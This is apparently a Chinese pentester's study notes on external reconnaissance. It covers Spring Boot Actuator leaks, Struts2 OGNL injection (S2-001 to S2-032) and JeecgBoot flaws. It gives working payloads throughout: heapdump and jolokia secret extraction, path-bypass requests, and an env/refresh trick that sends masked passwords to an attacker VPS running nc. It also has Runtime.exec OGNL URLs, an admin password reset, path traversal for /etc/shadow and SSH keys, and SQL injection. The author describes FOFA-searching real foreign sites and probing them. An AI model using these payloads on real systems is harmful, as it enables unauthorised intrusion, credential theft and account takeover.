常规外网打点
常规外网打点(持续更新中……)
spring-boot
actuator泄露
参考:可造成敏感信息泄露!Spring Boot Actuator信息泄露漏洞三种利用方式总结 - FreeBuf网络安全行业门户
Springboot之Actuator信息泄露漏洞利用_spring actuator 漏洞-CSDN博客
actuator是帮助管理和监控Spring-Boot应用的模块,这个模块采集应用的内部信息,展现给外部模块,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信息以及web请求的详细信息等。
如果没有正确使用Actuator,可能造成信息泄露等严重的安全隐患(外部人员非授权访问Actuator),其中heapdump作为Actuator组件最为危险的web端点,heapdump因未授权访问被恶意人员获取后进行分析,可进一步获取敏感信息
1.x版本
1 | /configprops #显示所有@ConfigurationProperties |
2.x版本
1 | /actuator #查看有哪些Actuator端点是开放的 |
接下来就是要利用heapdump去解决密码是*的问题,尝试了一下在本地搭建带有spring-boot的actuator信息泄露的靶场:
1 | 这里用的是kaliLinux |
搭建好之后可以通过IP下的8080端口访问
{% asset_img 1.png 1 %}
我们需要知道这个值,可以有几种利用方法
heapdump
首先模拟一个登录状态,之后我们尝试信息泄露的手法去访问/actuator/env和/actuator/heapdump
{% asset_img 2.png 2 %}
{% asset_img 3.png 3 %}
访问/actuator/heapdump的话可以看到直接下载下来了一个文件,分析这个文件可以使用jvisualvm.exe这个JDK自带的工具,路径为JDK\bin\jvisualvm.exe
{% asset_img 4.png 4 %}
文件类型选择堆之后选择刚刚下载的heapdump,装入文件之后就是输入OQL语句过滤我们需要的信息
1 | OQL是一种类似SQL的查询语言,用于查询Java堆,OQL允许从Java堆中过滤/选择所需的信息。虽然HAT已经支持诸如“显示X类的所有实例”之类的预定义查询,但OQL增加了更多的灵活性。OQL基于JavaScript表达式语言。 |
在Spring boot2.X版本中,env信息存储在java.util.LinkedHashMap$Entry类中
查询数据库密码需要在OQL控制台执行如下OQL语句:
1 | select s from java.util.LinkedHashMap$Entry s where /spring.datadsource.password/.test(s.key) |
不过我这里一直显示查询返回结果为空呢?
另一种方法就是先进入类标签页,在底部过滤器中搜索ActuatorDemoApplication
{% asset_img 5.png 5 %}
双击显示的有实例的类
{% asset_img 6.png 6 %}
找到这个userSessionToken,打开之后我们可以看到存在一个value:
1 | 84111107101110956511711610495907665828989 |
{% asset_img 7.png 7 %}
用逗号隔开的数字每一组对应一个字符的ASCII码:Token_Auth_ZLARYY
也可以试试使用https://github.com/wyzxxz/heapdump_tool
{% asset_img 8.png 8 %}
查询密码可以> password,获取ip> getip,获取url> geturl,获取文件路径> getfile
jolokia
要利用这个方法的话需要目标网站存在/jolokia、/actuator/jolokia,使用了jolokia-core依赖,默认情况下actuator是没有jolokia接口的,所以需要再添加如下依赖:
1 | <dependency> |
除此之外我们还需要在/src/main/resources/application.properties加上:
1 | spring.application.admin.enabled=true |
首先依旧是访问/actuator/env接口,,获取想要获得明文的属性名,然后通过jolokia调用相关MBean获取明文。
{% asset_img 9.png 9 %}
接下来我们访问/actuator/jolokia/list
{% asset_img 10.png 10 %}
查看的内容是目标环境中存在的MBean
接下来我们尝试通过调用我们找到的MBean来获取我们感兴趣字段的明文:
1 | POST/actuator/jolokia |
jolokia是一个JMX-HTTP桥接器,在Java中,JMX(Java Management Extensions)是用来在程序运行期间管理和监控Java程序的底层机制。Jolokia允许你通过发送简单的HTTP(JSON)请求,去调用Java底层的JMX方法,这段payload其实是执行了:
1 | // 获取名为 SpringApplication 的管理 Bean (MBean) |
{% asset_img 11.png 11 %}
如果是直接change request method的话要记得把Content-Type改为application/json,否则默认会是application/x-www-form-urlencoded
绕过waf的一些相关方法
文章参考:SpringBootActuator配置错误利用实战:路径探测、绕过技巧与敏感端点攻击 | ZONE.CI 全球网
路径变体寻找actuator:
1
2
3
4
5
6#系统管理员可能将端点直接暴露在站点根目录下
GET /env HTTP/2
#Actuator 也可能存在于子目录中
GET /att-admin/env HTTP/2
GET /att-admin/actuator/env HTTP/2
GET /att-admin/info/env HTTP/2通过特殊HTTP头访问actuator
1
2X-Forwarded-For: 127.0.0.1
X-Original-URL: /avtuator/env访问mappings端点
1
GET /actuator/mappings HTTP/2
访问这个端点很可能暴露出一些路由,去尝试访问就行
如果mappings不可用的话,可以检查metrics端点:
1
GET /actuator/metrics HTTP/2
它会返回可在后续请求中查询的指标名称列表:
1
{"names":["application.ready.time","application.started.time","disk.free","disk.total","executor.active","executor.completed","executor.pool.core","executor.pool.max","executor.pool.size","executor.queue.remaining","executor.queued","http.client.requests","http.client.requests.active","http.server.requests","http.server.requests.active","jvm.buffer.count","jvm.buffer.memory.used","jvm.buffer.total.capacity","jvm.classes.loaded","jvm.classes.unloaded","jvm.compilation.time","jvm.gc.live.data.size","jvm.gc.max.data.size","jvm.gc.memory.allocated","jvm.gc.memory.promoted","jvm.gc.overhead","jvm.gc.pause","jvm.info","jvm.memory.committed","jvm.memory.max","jvm.memory.usage.after.gc","jvm.memory.used","jvm.threads.daemon","jvm.threads.live","jvm.threads.peak","jvm.threads.started","jvm.threads.states","logback.events","process.cpu.time","process.cpu.usage","process.files.max","process.files.open","process.start.time","process.uptime","spring.cloud.gateway.requests","spring.cloud.gateway.routes.count","system.cpu.count","system.cpu.usage","system.load.average.1m"]}
其中大部分是普通的元数据,值得关注的有:
1
2
3
4
5
6#利用这个字段产生的值尝试 vhost Fuzz 可能会有收获。这些主机名在 SSRF 场景中也非常有价值
spring.cloud.gateway.requests
#本质上是 mappings的低精度替代——信息量较少但仍然有用。从这里开始测试发现的路由即可
http.server.requests
#其含义与其他 metrics 类似。这些指标提供了有用的信息,能间接引导你继续深入
http.client.requests使用方法如下:
1
GET /actuator/metrics/{metric-name} HTTP/2
查询后 (精简输出) 可以揭示服务器或客户端最近发送或接收的请求
路径遍历与绕过
一般来说,简单和双重 URL 编码有时能帮助访问”被屏蔽”的 Actuator 端点
上述引用文章也引用了https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf这个叫做Orange Tsai大佬的描述,通常表示为:
1
2
3GET /..;/actuator/env HTTP/2
GET /static../actuator/env HTTP/2
GET /actuator/health/..;/env HTTP/2替代方案:使用”;”绕过
成功的原因通常是不良的重写规则、黑名单或配置错误的规则
1
2
3
4GET /;/actuator/env HTTP/2
GET /actuator;/env HTTP/2
GET /actuator/env; HTTP/2
GET /actuator/env;.. HTTP/2{% asset_img 12.png 12 %}
{% asset_img 13.png 13 %}
{% asset_img 14.png 14 %}
通过httptrace端点实现会话接管
1
GET /actuator/httptrace HTTP/2
其他有用的端点:logfile与gateway
Actuator经常暴露
gateway/routes端点。如果你有写权限,SSRF 是现实可行的;在旧版Spring Boot中甚至可能导致RCE。logfile端点需要由管理员启用,它返回特定事件的日志。CVE-2022-22978:允许绕过认证
1
GET /actuator/%0Aenv HTTP/1.1
实例
在fofa上搜索:body="Whitelabel Error Page" && country!="CN"然后通过python发包探测哪些存在actuator泄露,具体脚本可参考:
1 | import requests |
这样你就可以看到类似的页面:
{% asset_img 15.png 15 %}
我尝试的是具有/avtuator/jolokia/list的网站,所以我尝试了第一种获取明文方法:
{% asset_img 16.png 16 %}
接下来我再复现另外几种:
VPS
利用条件:
可以GET请求目标网站的/env,可以POST请求目标网站的/env,可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖),目标使用了spring-cloud-starter-netflix-eureka-client依赖,目标可以请求攻击者的服务器(请求可出外网),Spring Boot版本大于2.2.4,则必须使用下面的属性手动启用POST API调用,management.endpoint.env.post.enabled=true,否则不能通过POST访问env端点。
利用方法
- 首先访问
url+/actuator/env来获取我们想要明文字段的key,我这里是sun.java.command - 在自己控制的外网服务器上监听80端口
nc -lvp80 - 将下面
http://value:${security.user.password}@your-vps-ipsecurity.user.password换成自己想要获取的对应的星号*遮掩的属性名;your-vps-ip换成自己外网服务器的真实ip地址
1 | POST/actuator/env |
然后刷新配置:
1 | POST/actuator/refresh |
按理来说这里我的监听应该能收到:
1 | GET/apps/HTTP/1.1 |
类似于这种的请求,然后将Authorization里面的字段base64解码之后就可以查看value,但是我这里没有看到请求,倒是在对方服务器actuator里面看到了……
{% asset_img 19.png 19 %}
可以看到是6007,好像是利用其出网必须是1.x版本,可惜了。。。。。
这里ZLARYY在练习使用python呢:
1 | import requests |
另一种方法与这一种类似,只是包不一样:
1 | POST/actuator/env |
然后还是进行刷新配置,再查看VPS
1 | POST/actuator/refresh |
1 | Ncat:Connectionfrom****** |
apps前面的路径就是需要的数据
struts
学习struts相关漏洞之前先学习一下什么是OGNL吧
OGNL
参考:Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园
Struts2_S2-045漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-5638)-CSDN博客
Struts2框架漏洞总结与复现 - FreeBuf网络安全行业门户
一文全解:OGNL表达式以及Mybatis中的OGNL表达式-CSDN博客
Object Graphic Navigation Language,是一种表达式语言,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性,OGNL可以让我们用非常简单的表达式访问对象层,例如,当前环境的根对象为user1,则表达式person.address[0].province可以访问到user1的person属性的第一个address的province属性。
基本语法:
1 | object.property.property... |
其中object是要访问的对象,.适用于分隔对象和属性的符号,property是对象的属性名。OGNL表达式可以连续使用.来访问对象的嵌套属性
例如:假设有一个ZLARYY对象,其中包含一个Friends对象,可以使用OGNL表达式ZLARYY.Friends.Su@sU来访问Friends对象中的Su@sU属性
OGNL表达式除了基本的属性访问之外,还提供了许多高级特性,如:
- 方法调用:可以使用
()符号来调用对象的方法,如Person.getAge() - 数组和集合访问:可以使用
[]符号来访问数组和集合中的元素,如:persons[0].name、Person.{name} - 条件表达式:可以使用
?:符号来实现条件表达式,如Person.age > 18 ? '成年' : '未成年' - 循环和迭代:可以使用
{和}符号来实现循环和迭代,如{0..10}、{Persons.name}
开发者喜欢配合spring、hibernat用,称为SSH
接下来跟着Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园复现漏洞!!!
S2-001(CVE-2007-4556)
它是Apache Struts2历史上第一个被公开的OGNL注入漏洞,这个漏洞产生的根本原因在于Struts2早期版本(2.0.0-2.0.8)处理表单验证失败时的逻辑缺陷,在一个典型的web登录或注册场景中,如果用户填写的表单数据没有通过验证(比如密码太短、用户名包含非法字符),后端通常会将用户打回原表单页面,并且把刚才用户输入的内容回显在输入框里面
为了实现这个动态回显功能,struts2默认开启了一个名为altSynax的特性,当表单验证失败需要重绘页面时,框架会将输入框的值作为OGNL表达式进行递归解析
这时候如果用户利用OGNL的语法特征,使用%{}将输入包裹起来,Struts2就会认为这是一段代码并执行它,比如:
1 | 假设你再用户名输入框里面填入:%{2+2} |
因为OGNL具备强大的Java底层调用能力,攻击者可以直接将数学运算替换为系统命令
具体的复现可以参考Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园这个大佬的文章,等ZLARYY学了代码审计之后再补复现的内容吧orz,这里就贴一下大佬的payload先:
1 | # 获取tomcat执行路径 |
S2-003
S2-003是一个沙箱逃逸漏洞,其出现的原因是S2-001出现之后官方对其做了两层防御:
1.正则黑名单拦截:在ParametersInterceptor(处理HTTP参数的拦截器)中加入正则表达式,禁止参数名中包含#符号,因为OGNL访问上下文变量(如#session)必须用到#
2.引入安全沙箱(SecurityMemberAccess):在OGNL引擎底层增加了一个权限控制器,默认将allowStaticMethodAccess设置为false,从而禁用@符号去调用java.lang.Runtime等危险类的静态方法。
但是官方的正则表达式只拦截了明文的#字符,如果在HTTP参数名中使用OGNL引擎支持的Unicode编码\u0023或者八进制\43就能实现绕过#限制,然后就可以通过OGNL表达式修改沙箱的配置
1 | # payload |
或者:
1 | # 开启静态方法调用权限(关闭沙箱):利用\u0023绕过拦截拿到#_memverAccess对象,强行把allowStaticMethodAccess属性改为true |
S2-005(CVE-2010-1870)
该漏洞的产生首先是对S2-003漏洞的修补,官方在修补S2-003的时候仅仅是在用来拦截特殊字符的正则表达式的黑名单里,硬编码加上了\u0023和\43这两个字符串,不过,只要对\u0023再做一些变化就能再次绕过黑名单,本质上与S2-003触发的是同一个底层问题。
在受影响的struts版本(2.0.0-2.1.8.1)中,XWork的ParametersIbtercepter(负责将HTTP参数映射到Java对象)在处理参数名时,默认允许使用OGNL表达式,XWork会将GET参数的键和值利用OGNL表达式解析为Java语句:
1 | user.address.city=Bishkek&user['favoriteDrink']=kumys |
payload:
1 | /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 |
S2-007
与前几个漏洞场景不同,该漏洞核心为:类型转换错误
假设有一个注册表单里面有一个字段叫做“年龄”,在后端的Java中这个字段被定义为了Integer整数类型,正常情况下用户输入18,Struts2会自动将字符串”18”转换为整数18并赋值给属性,但如果用户输入abc就会造成类型转换粗偶无,框架无法把abc转成整数,于是会中断正常的流程并在输入框旁边提示“无效的年龄输入”,并且会将用户刚才输入的错误内容原样回显在输入框里面,但在这个回显的底层逻辑中,当ConversationErrorIntercepter(专门处理转换错误的拦截器)介入时,它会将用户的错误输入存入一个Map中,当页面的UI标签(比如<s:textfield>)尝试把错误值渲染回网页时,它会对这个值进行OGNL评估,为了防止直接执行,Struts2开发者在拼接OGNL表达式时给用户的输入加上了单引号,试图当作一个纯字符串来处理
当用户提交age为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似SQL注入单引号拼接的方式即可注入任意OGNL表达式。
影响范围:2.0.0-2.2.3
1 | # payload |
S2-008(CVE-2012-0391)
在Struts2的开发阶段,框架提供了一个名为devMode(开发模式)的功能,如果在struts.xml中配置了<constant name="struts.devMode" value="true" />,struts2就会开启大量的调试功能
其中包含一个名为DebuggingIntercepter(调试拦截器)的组件,允许开发者通过URL参数,直接向服务器发送一段OGNL代码并执行,如果运维在将代码发布到生产环境中时,忘记把devMode改回false,这样做只需要在任何Action的URL后面加上debug=command&expression=,后面跟上OGNL表达式
1 | # payload |
S2-009(CVE-2011-3923)
S2-009是对S2-005的白名单防御,官方限定HTTP的参数名称只能包含字母、数字及少数几个特定的符号中:[a-zA-Z0-9\.\]\[\(\)_']+
在OGNL的高级语法中,括号的特殊含义是:AST(抽象语法树)节点评估,如果写出类似于(A)(B)的OGNL表达式,引擎会先计算A的值,如果A提取出来的是一个字符串,引擎就会把这个字符串当作一段新的OGNL代码,作为B的上下文参数再去解析和执行。
虽然参数名受到白名单严格过滤,但是参数值不受正则限制,所以就可以把恶意代码放在值里
影响范围:2.1.0-2.3.1.1
比如:
1 | /HelloWorld.acton?example=&(example)('xxx')=1 |
1 | /ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] |
S2-012
S2-012并不是Struts默认配置下就会触发的漏洞,如果在配置Action中Result时使用了重定向类型,并且还使用${param_name}作为重定向变量,例如:
1 | <package name="S2-012" extends="struts-default"> |
这里UserAction中定义有一个name变量,当触发redirect类型返回时,Struts2 获取使用${name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任意OGNL表达式导致命令执行。
假设有一段OGNL探针:%{#a=2+2},将其赋值为name之后系统原封不动地将其赋值给了Action的name属性,执行Action之后登录逻辑执行完毕返回”success”,然后服务器读取重定向配置,此时准备用来重定向的URL从?name=${name}变成了?name=%{#a=2+2},最后由于struts2中的ServletActionRedirectResult类的设计缺陷,它在将URL真正发送给浏览器之前,为了确保URL里的动态参数都被正确解析,它会对拼装好的URL再次调用OGNL引擎进行一次评估,所以最后引擎看到了${...}语法就会执行变成?name=4
影响范围:2.1.0-2.3.13
1 | # payload |
S2-013/S2-014
这两个漏洞的原理一致但是触发漏洞的组件不同,在S2-012中,漏洞出现在<result type="redirect">的URL拼装环节上,在S2-013中,漏洞处在Struts2的UI标签组件上,特别是URL标签
struts2提供了一些方便在JSP页面中生成链接的标签,比如:<s:url>和<s:a>,这些标签有一个非常方便的属性叫做includeParams
当在JSP中有以下这段代码时:
1 | <s:url action="HelloWorld" includeParams="all" /> |
includeParams的属性决定了在生成新的URL时要不要把当前请求中已有的参数也带过去,它有三个值:
none:不包含任何参数(默认值)
get:只包含当前请求中的GET参数
all:包含当前请求中的所有GET参数和POST参数
这时候如果页面上有一个标签:<s:a href="%{url}" includeParams="all">Click Here</s:a>,攻击者向这个页面发送一个包含恶意OGNL表达式的参数,比如:?fakeParam=%{#a=2+2},由于includeParams="all",struts2会去寻找当前请求的所有参数准备拼接到新生成的链接里,struts2的UrlHelper类在处理这些抓取来的参数时,为了防止这些参数值中可能存在动态变量,就会对这个参数值进行OGNL评估,于是%{a=2+2}在渲染JSP的时候就被触发了
1 | # payload |
面对S2-013,官方的修复思路是在UrlHelper中处理参数时,限制了对%和$以及某些特定字符的解析,不过依然可以像S2-003/005一样使用用过的AST语法评估技巧(比如用括号包裹)或者稍微变换一下OGNL的语法结构就能绕过
S2-015
这个漏洞的诞生为:通配符映射
1 | <action name="*" class="com.demo.UserAction"> |
在这段代码中,如果用户访问login.action,*就变成了login,系统最终会跳转到login.jsp,如果访问register.action,最终就会跳转到register.jsp
这样操作的结果会导致盲目地信任来自URL的输入,并在内部跳转时对这个输入进行二次解析:
如果访问/${2+2}.action,那么{1}就被替换为了${2+2},struts2中的TextParseUtil类在寻找这个JSP文件的物理路径时没发现字符串里面包含${...}就会认为这是一个动态表达式,最终唤醒OGNL引擎对Action名字进行计算,最终就变成了4.jsp
由于攻击payload是作为URL路径的一部分发送的,它必须先经过web容器的解析才能到达struts2框架,现代web容器对URL的字符限制极其严格,URL中通常不允许出现空格,反斜杠,双引号等特殊字符,如果直接把包含这些字符的OGNL表达式写在Action里面,Tomcat就会直接抛出400 Bad Request或Invalid URL
所以在写payload时通常会舍弃双引号和空格,大量使用OGNL的内置编码转换函数(比如将命令转成ASCII码数组再还原),或者利用参数池进行变量传递
还有需要说明的就是在Struts 2.3.14.1 - Struts 2.3.14.2的更新内容中,删除了SecurityMemberAccess类中的setAllowStaticMethodAccess方法,因此在2.3.14.2版本以后都不能直接通过#_memberAccess['allowStaticMethodAccess']=true来修改其值达到重获静态方法调用的能力。
影响范围:2.0.0 - 2.3.14.2
1 | # payload |
S2-016
在Struts2的核心架构中,每有一个HTTP请求时,都需要DefaultActionMapper解析请求决定调用哪个Action,默认情况下:DefaultActionMapper允许通过特殊的参数名来强行改变服务器的执行流程,其中有三个前缀是:
action:强行执行另一个Action
redirect:强行重定向到一个外部URL
redirectAction:强行重定向到另一个Action
如果网页里一个button的提交表单里面带了一个参数refirect:http://www.google.com,服务器收到之后就会中断当前流程直接让浏览器跳转到Google
不过为了支持动态生成跳转链接,redirect和redirectAction会对前缀冒号后面的内容进行OGNL表达式解析,所以只需要.action?redirect=${...}就可以了
影响范围:2.0.0 - 2.3.15
1 | # payload |
它同时支持${}和%{}两种闭合方式
S2-019
这个漏洞依然发生在DefaultActionMapper里,不过关键在于:动态方法调用
struts2提供了一个极其灵活的功能:DMI,只要在配置文件中开启struts.enable.DynamicMethodInvocation = true(早期版本中这个选项默认开启),前端就能通过URL直接指定要调用Action里的哪个方法
语法就是使用!分隔:
1 | http://127.0.0.1/UserAction!login.action |
服务器收到请求之后就会去UserAction类里面直接执行login方法
当请求发送到服务器之后,DefaulActionMapper会把!后面的字符串(方法名)提取出来,但是在处理这个提取出来的方法名时会对这个方法名进行OGNL评估
1 | # payload |
S2-032(CVE-2016-3081)
官方在S2-016之后删除了redirect和redirectAction这两个前缀,但是保留了method:前缀,如果开启了DMI:struts.enable.DynamicMethodInvocation = true,前端就可以通过在HTTP请求的参数名中使用method:来制定调用的方法,比如:
1 | http://127.0.0.1:8080/index.action?method:login |
这行请求会让DefaultActionMapper去执行Action里的login方法
类似的,struts2在解析method:冒号后面的字符串时也会对这个字符串进行OGNL评估
1 | # payload |
jeecg-boot
参考:Jeecg-boot常见漏洞汇总 - FreeBuf网络安全行业门户
Jeecg漏洞汇总(非常全)附全新扫描工具(JeecgGo)-CSDN博客
JeecgBoot是一款集成AI应用的,基于BPM流程的低代码平台,旨在帮助企业快速实现低代码开发和构建个性化AI应用!前后端分离架构Ant Design&Vue3,SpringBoot,SpringCloud Alibaba,Mybatis-plus,Shiro。强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE, 帮助Java项目解决80%的重复工作,让开发更多关注业务,提高效率、节省成本,同时又不失灵活性!低代码能力:Online表单、表单设计、流程设计、Online报表、大屏/仪表盘设计、报表设计; AI应用平台功能:AI知识库问答、AI模型管理、AI流程编排、AI聊天等,支持含ChatGPT、DeepSeek、Ollama等多种AI大模型。
可以通过以下语法搜索可能带有jeecg-boot的服务器:
1 | fofa: |
第二篇参考文章中给了一个自动扫描jeecg-boot漏洞的项目:Msup5/JeecgGo: JeecgBoot Go版本综合漏洞检测工具
常见弱口令漏洞
1 | admin/123456 |
JeecgBoot passwordChange接口任意用户密码重置
JeecgBoot passwordChange接口任意用户密码重置是一个结合了未授权访问和水平越权的漏洞
这个漏洞的接口在/jeecg-boot/sys/user/passwordChange(或基于其路由规则的类似路径)
- Token校验失效或配置不当(未授权访问):在
Jeecg-boot的部分版本或默认配置中,该接口可能被错误地加入了鉴权白名单(anon),或者其底层的Token验证机制存在逻辑缺陷,导致即使攻击者不提供有效的X-Access-Token请求头,依然能触达底层的密码修改业务 - 身份盲目信任(水平越权):当业务代码处理密码请求时,它仅仅依赖前端传入的请求参数去数据库执行
UPDATE更新操作,系统后端没有去校验当前发起请求的用户(Token解析出的真实用户)身份是否与被修改密码的用户(传入的username参数)完全一致
所以可以构造一个http请求访问/sys/user/passwordChange接口的请求报文,在请求体的JSON或表单数据中,强行制定username: admin以及password: ZLARYY,这样请求发出去之后管理员admin的密码就会变成ZLARYY
1 | # payload |
jeecg-boot-checkOnlyUser信息泄露漏洞
jeecg-boot-checkOnlyUser信息泄露漏洞(CVE-2021-37306)是早期版本Jeecg-boot中的信息泄露漏洞(Jeecg-boot <= 2.4.5),其涉及的接口是/jeecg-boot/sys/user/checkOnlyUser或/sys/user/checkOnlyUser
在Jeecg-boot业务逻辑中,checkOnlyUser接口原本是提供给前端做表单校验用的,比如检查输入的username等是否被别人占用,在Jeecg-boot 2.4.5及以前的版本中,错误地将这个接口加入了免密访问白名单(anon)
这就导致不提供任何Token的情况下,直接向该接口发送请求,通过不断替换username的参数,根据服务器返回的true和false状态判断是否存在某个账号,从而实现用户名字典枚举
与其搭配的是CVE-2021-37305:**querySysUser**,这个接口可以将指定用户完整数据库记录以JSON格式全部脱出,拿到Hash和Salt之后就可以直接在本地破解管理员密码
1 | # payload |
jeecg-boot-目录遍历漏洞
通常出现问题的接口为:/sys/common/view/{filename}(文件预览/图片查看接口)、/sys/common/download(文件下载接口)
当服务器接收到前端传来的filename参数时,后端的代码逻辑通常是将”基础上传目录“与”传入的文件名“进行拼接:File file = new File(baseUploadPath,filename)
如果后端没有对传入的filename包含特殊字符进行过滤就可以传入../进行目录穿越
1 | # payload |
可以尝试读取的内容有:application.yml、application-prod.yml、/root/.ssh/id_rsa(可以获取服务器的SSH私钥,尝试直接远程登录服务器)、/etc/shadow或/etc/passwd
还有一种类型:Jeecg-Boot 任意目录遍历/文件树信息泄露漏洞
通常接口是:/jeecg-boot/online/cgform/head/fileTree
其逻辑为前端传入一个路径parentPath,后端就去服务器上读取这个路径下的所有文件夹和文件名,比如:parentPath=/(Linux),parentPath=C:\(Windows),既没有沙箱限制读取目录也没有严格的权限控制
1 | # payload |
Jeecg-boot 3.4.4 /sys/dict/queryTableData SQL注入
为了让底层的SQL语句能动态地接收tableName,textColumn,codeColumn三个参数,MyBatis的预编译语法#{}只能用于安全地绑定数据值(如WHERE id = ?),不能用来绑定表名或者列名,为了实现功能所以采用${}语法,${}的底层机制是原封不动地进行字符串拼接:
1 | SELECT ${textColumn} AS text, ${codeColumn} AS value FROM ${tableName} |
1 | # payload |
